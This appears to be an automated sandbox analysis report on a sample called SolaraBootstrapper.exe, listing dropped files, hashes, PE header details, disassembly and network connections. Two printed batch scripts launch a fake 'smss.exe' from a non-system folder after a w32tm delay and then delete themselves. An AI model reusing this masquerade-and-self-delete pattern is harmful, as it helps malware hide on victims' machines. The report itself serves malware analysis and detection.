SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cj21fkzl.zhe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ct2t2as0.vsv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fmqwbc2z.lre.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_giooypy0.sj5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hp5rjvfd.0pu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i55bj3so.cds.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixhnep0n.trq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kixpcnpu.rts.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxixrvnh.z1q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2p3nb3d.vj1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qicrbrjs.anz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qv4uj1iw.udv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rautfoys.z5q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rg3ttemh.gur.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wxws223t.ars.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycnzbdpy.ypk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yete0vkg.pq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aUypnLvrQD

Download File

Process:	C:\Program Files\Uninstall Information\smss.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.003856189774724
Encrypted:	false
SSDEEP:	3:vtgN9n:vtgT
MD5:	496F0A94B6C80E553F387FD1C49FAEC6
SHA1:	10767D263361BDE179D28DE04A5BF3CFBAECE712
SHA-256:	C074979D21394BEA0298CC8685FD73FF834A176BD98AE843AB23B3D37164A2E7
SHA-512:	FBBFEC551E3814B927320032898DA774B18B03FB3885294F3F7DB9A534ED77141FD040F97249A82F0CCDBC604095EC2311C3B61366ABA9FB06FB07A62B04254A
Malicious:	false
Preview:	fqaLdLHF9eQd39SKHlNgKSQYg

C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat

Download File

Process:	C:\Program Files\Uninstall Information\smss.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.029241551731704
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DE7ENMKhAvKOZG1CHhJ23fbtq:OTg9YDE0hJztq
MD5:	4A2079EE1427B794A6B7908D2EAB34F8
SHA1:	C8F598EC9D425183E0AA16B94AA6416CF1A06D4E
SHA-256:	B8723893D7DCF9C11A8708ACE7751C023A415758C92F2305DE7EA4AF96807B3C
SHA-512:	F884F95DB2A734A5DE8E9EC2D4E0B4CB98BBD734BB7E2331EA185ECD51963222E67BACB4A6AAFD7FA5F8D6749C1C18BCDD15C61DFA1808D94BFA9C5D75A82F3B
Malicious:	false
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\d5cQTyHbvx.bat"

C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat

Download File

Process:	C:\Media\fontreview.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	4.976697327893976
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DE7ENMKhAvKOZG1CHhJ23fih:OTg9YDE0hJKh
MD5:	5AFF113A71025CB03D09A089CB4F3025
SHA1:	FC04AAA55C687B806DDC3251831E761327D5086B
SHA-256:	96A30DE8DA1DA5D1C86C4B494E7A4EF132A8A4A96B787829EE9262F0DD7DCBCF
SHA-512:	25A99F7825D20E0620355C7CDC8341D8AF97B9223E1771A290DDD41F0CBFED5346E6C5144C4802D10355EC107C085BF55CEA95FE575C030DAE17F8CEE2D656B7
Malicious:	false
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\hKSsSsDflU.bat"

C:\Users\user\AppData\Roaming\Bootstrapper.exe

Download File

Process:	C:\Users\user\Desktop\SolaraBootstrapper.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.92593686329826
Encrypted:	false
SSDEEP:	1536:ThoOh/Jq6l8q7otsyab9AUmlJYqvNd6GvyMRQOue:Tew6Mb9AVll9TRQOue
MD5:	0C88F913B456D4FC6B5836275F2A48AD
SHA1:	1D58A200748571696F5FB8EC5C2ABE40D36F021B
SHA-256:	02B7E575969E1F23F76FDAD703BF74241B6276F7551EB5F8996C098F87093417
SHA-512:	8B42EE4D734179CD9A04C71D03B8CB41511D17F6E9A0D2C7022E1BAC1C4801DE758D5178D81CCD7ACB5AC289268EA49C91F050F4129BA572389ACD287537E802
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}f................................. ... ....@.. .......................`............@.................................`...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......x[.........&.....................................................(.....r...p. .G%...(.....rw..p. .i..s.........s.........s.........s..........r...p. ....r...p. ....r...p. ..'..rS..p. .....r...p. ..m...((....r...p.rR..p. S....(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(P...&(....&+..+5sb... .... .'..oc...(...~....-.(\...(N...~....od...&.-..r...p. .x!..rH..p. ..r..r...p. [....r...p. .....rm..p. .....r$..p.r...p. ~.H..rZ..p. ..e.

\Device\ConDrv

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	2.395432437980324
Encrypted:	false
SSDEEP:	12:9X6/bTqPEFfsbmJ/YP7LWPrNK6S48l2KZt/YNT:AHq6saJQXQK6zkpQ
MD5:	329B41D15BE32D78E77D5B9BF79DB8E6
SHA1:	932A7DB6CD0C764EA530986FB4E9CE4A00822FE1
SHA-256:	815C18198E6E3B8C8BF732337E65CFBDFF75EF00007B4B4F95476D2E0E57D87F
SHA-512:	CD3BFCC128658BADC6FB28F2DC7F4ECCCA461950CCCEAD0FC55210DFE94D6EC8AED76593E359F8ACF941EAD6FA577FE70CFD4BC65CE69CB23E31FA09D568500B
Malicious:	false
Preview:	,gg, .. i8""8i ,dPYb, .. `8,,8' IP'`Yb .. `88' I8 8I .. dP"8, I8 8' .. dP' `8a ,ggggg, I8 dP ,gggg,gg ,gggggg, ,gggg,gg .. dP' `Yb dP" "Y8gggI8dP dP" "Y8I dP""""8I dP" "Y8I .._ ,dP' I8 i8' ,8I I8P i8' ,8I ,8' 8I i8' ,8I .."888,,____,dP,d8, ,d8' ,d8b,_ ,d8, ,d8b,,dP Y8,,d8, ,d8b,..a8P"Y88888P" P"Y8888P" 8P'"Y88P"Y8888P"`Y88P `Y8P"Y8888P"`Y8.. .. .. .. ..

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.847864681057506
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXIXjCavU4FRvouNvj:Vx993DEU3Xj9vU4FGux
MD5:	5C44EA6AECAD0630250D6BB9EEBAC112
SHA1:	930327151705F5BFBDA0A80E82F753CAB5F3A10C
SHA-256:	2F17C2EE28BC0466E899DED3C5C4E1B311A291EF6D9109994952250D710CE0A3
SHA-512:	A6330129147B490375CFF0C0C8DFE201FC176320740C2F8499ABD871F1B8CE32BE45D0F6E446AC3931DA6B9DE9EF539E51AE9469BD5324004C8BFEE16F4EED27
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 29/06/2024 11:52:18..11:52:18, error: 0x80072746.11:52:23, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.230890105032958
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	SolaraBootstrapper.exe
File size:	2'435'584 bytes
MD5:	a3063deffb695211eacaad97e9c38936
SHA1:	22c0dcbff864ac7ab665dcaa40fa0e2f5a609d6b
SHA256:	902f94aa7222739a873f8f2805428e89822fc34842a0d731828ca0d6fce69dd6
SHA512:	c3365f69bcaf92b73449a58596ac9e37bc2a5eb11c048d336ff296439d9ec55f53f9f23a741305f565d64d449fc3ba508b03657ae73c3ed4108dd38aa8f10ed1
SSDEEP:	49152:3LeY9/gdSz5eLeorkMy9UVfSpk2+GmC/KrluvCd:9sLeorNg8fcl+Gm8Na
TLSH:	33B5331ACDF52ED5CCA592B2AD0E01E24DEA1A9817438EBB460E24478441FFDF7A52DC
File Content Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L.....}f...............I."%..................@%...@..........................`%......N%....................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401000
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x667D8D18 [Thu Jun 27 16:02:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	140094f13383e9ae168c4b35b6af3356

Entrypoint Preview

Instruction
call 00007F90E10CC533h
push 00000000h
call dword ptr [006540A4h]
ret
sub al, 00h
lodsb
loop 00007F90E0E7B693h
test dword ptr [ecx-51h], ebp
jmp 00007F90E0E7B632h
mov ecx, 006C007Eh
inc ebp
xchg byte ptr [eax], al
mov dl, E1h
add byte ptr [ebx], ah
add byte ptr [ebp+004900E1h], cl
jbe 00007F90E0E7B632h
jnp 00007F90E0E7B665h
add byte ptr [eax], dh
add byte ptr [ebp+2Bh], bh
inc edi
mov byte ptr [00D53500h], al
aad 00h
fstp qword ptr [eax+eax+6Eh]
add byte ptr [ecx+3A7C4360h], cl
dec esp
sub byte ptr [eax], al
pop ds
fadd qword ptr [eax]
xor byte ptr [eax], al
push ecx
les eax, fword ptr [eax]
out dx, al
add byte ptr [edi+00h], bh
stc
fld qword ptr [eax]
adc al, byte ptr [eax]
mov es, word ptr [eax]
sbb dh, bh
add byte ptr [edi], bh
add dh, ch
in eax, dx
or eax, 2449002Eh
add byte ptr [ebx], dh
add bh, al
fiadd word ptr [eax]
out dx, al
add byte ptr [edi-59E9D7CEh], al
jmp 00007F90E0E7B637h
add dl, dh
mov edi, A8003900h
or eax, dword ptr [eax]
adc dword ptr [eax+eax], ebx
add al, 00h
mov dl, cl
add al, bl
add byte ptr [ebp+00h], bl
int3
pushfd
add al, bh
add byte ptr [ebp-59h], ch
adc eax, A1F9007Ch
add byte ptr [ebp+0070D500h], bh
fild dword ptr [eax]
loop 00007F90E0E7B643h
mov al, byte ptr [0DFBCC61h]
add ah, al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x254000	0x1fc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x255000	0x2d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x252027	0x252200	c0c46d8f6be739ff1eca6c12ab7f6b1d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.idata	0x254000	0x1fc	0x200	1d44f7fcb86aea45badbbead8524a50f	False	0.5234375	data	4.114074117940641	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x255000	0x2d4	0x400	c4c8e83a5b4c47c5c91ae3190074fa68	False	0.3203125	data	2.535897751284505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x255058	0x27c	data			0.4591194968553459

Imports

DLL	Import
kernel32.dll	CreateThread, ExitProcess, GetComputerNameA, GetModuleFileNameA, GetModuleHandleW, GetProcAddress, SetErrorMode, Sleep, VirtualAllocExNuma
Shlwapi.dll	PathFindFileNameA
msvcrt.dll	malloc, free, memset, strcmp, _strcmpi, strcpy

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 29, 2024 16:29:59.683362007 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:29:59.683406115 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:29:59.683475971 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:29:59.708849907 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:29:59.708874941 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.358725071 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.358866930 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.364805937 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.364834070 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.365228891 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.408312082 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.415453911 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.460511923 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.626950979 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.627075911 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.627167940 CEST	443	49706	140.82.121.4	192.168.2.8
Jun 29, 2024 16:30:00.627230883 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.629579067 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.725692987 CEST	49706	443	192.168.2.8	140.82.121.4
Jun 29, 2024 16:30:00.737742901 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:00.737835884 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:00.737958908 CEST	49707	443	192.168.2.8	185.199.110.133
